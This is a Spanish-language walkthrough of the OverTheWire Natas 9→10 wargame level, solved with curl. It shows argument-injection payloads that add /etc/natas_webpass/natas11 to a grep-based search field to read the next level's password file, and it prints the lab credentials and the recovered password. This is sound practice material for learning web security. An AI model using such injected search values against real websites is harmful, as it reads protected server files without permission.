OverTheWire - Natas 9 -> 10 (sin navegador)

Información


Las contraseñas cambian cada cierto tiempo, existe la posibilidad de que esta contraseña ya no sea válida

Username: natas10
Password: nOpp1igQAkUzaI1GUUjzn1bFVj7xCNzu
URL:      http://natas10.natas.labs.overthewire.org

Solución


Primero ejecutamos el comando curl con el parámetro -u para indicar las credenciales.

curl -u natas10:nOpp1igQAkUzaI1GUUjzn1bFVj7xCNzu http://natas10.natas.labs.overthewire.org/

Vemos que existe un buscado y su código fuente que se almacena en index-source.html.

Si vamos al archivo no podremos ver nada.

curl -u natas10:nOpp1igQAkUzaI1GUUjzn1bFVj7xCNzu http://natas10.natas.labs.overthewire.org/index-source.html

Esto se soluciona instalando la herramienta html2text con el comando sudo apt install html2text.

curl -u natas10:nOpp1igQAkUzaI1GUUjzn1bFVj7xCNzu http://natas10.natas.labs.overthewire.org/index-source.html | html2text

Se está haciendo una lista negra con los carácteres ; | &, es decir, si escribimos estos carácteres en la búsqueda la página nos dará un error.

Lo que ingresemos en la búsqueda se guardará en la variable $key y se agregará al comando grep.

Para resolver este reto y obtener la contraseña primero debemos entender cómo funciona el comando grep.

Tenemos un archivo llamado archivo1.txt que tiene la palabra hola!.

Y otro archivo llamado archivo2.txt que contiene la palabra chao!.

Si buscamos la letra a con el comando grep sobre ambos archivo obtenemos las palabras enteras, y grep nos indica el nombre del archivo al que pertece cada palabra.

grep -i a archivo1.txt archivo2.txt

Esta parte marcada en rojo es la que nosotros controlamos en la búsqueda de la página.

Si buscamos una letra que no aparece en ningún archivo, entonces no nos mostrará nada. Lo mismo si filtramos una letra que aparece solo en un archivo.

Con esto en mente filtraremos por la letra a, y agregaremos el archivo /etc/natas_webpass/natas11 que contiene la contraseña para el siguiente nivel.

curl -u natas10:nOpp1igQAkUzaI1GUUjzn1bFVj7xCNzu http://natas10.natas.labs.overthewire.org/ -d 'needle=a /etc/natas_webpass/natas11&submit=hola'

Pero lo página nos muestra mucho texto. Enviaremos todo este output hacia un archivo cualquiera con el nombre natas10.txt.

curl -u natas10:nOpp1igQAkUzaI1GUUjzn1bFVj7xCNzu http://natas10.natas.labs.overthewire.org/ -d 'needle=a /etc/natas_webpass/natas11&submit=hola' > natas10.txt

Y ejecutaremos el comando head para observar solo las primeras lineas de la respuesta.

head -n 30 natas10.txt

Notamos que en la respuesta no se encuentra la contraseña de natas11, esto es porque la contraseña no contiene la letra a. Seguiremos reemplazando la letra en nuestro comando de curl, hasta que nos devuelva la contraseña.

Realizamos el mismo procedimiento pero cambiamos la letra a por una b.

curl -u natas10:nOpp1igQAkUzaI1GUUjzn1bFVj7xCNzu http://natas10.natas.labs.overthewire.org/ -d 'needle=b /etc/natas_webpass/natas11&submit=hola' > natas10.txt

Nuevamente no vemos nada porque lo contraseña de natas11 no contiene la letra b.

head -n 30 natas10.txt

Realizamos el mismo procedimiento pero cambiamos la letra b por la letra c.

curl -u natas10:nOpp1igQAkUzaI1GUUjzn1bFVj7xCNzu http://natas10.natas.labs.overthewire.org/ -d 'needle=c /etc/natas_webpass/natas11&submit=hola' > natas10.txt

Ejecutamos el comando head y esta vez sí vemos la contraseña de natas11.

head -n 30 natas10.txt

Contraseña


U82q5TCMMQ9xuFoI3dYX61s7OZD9JKoK


Anterior

Siguiente

Powered by Soopr   •  Theme  Moonwalk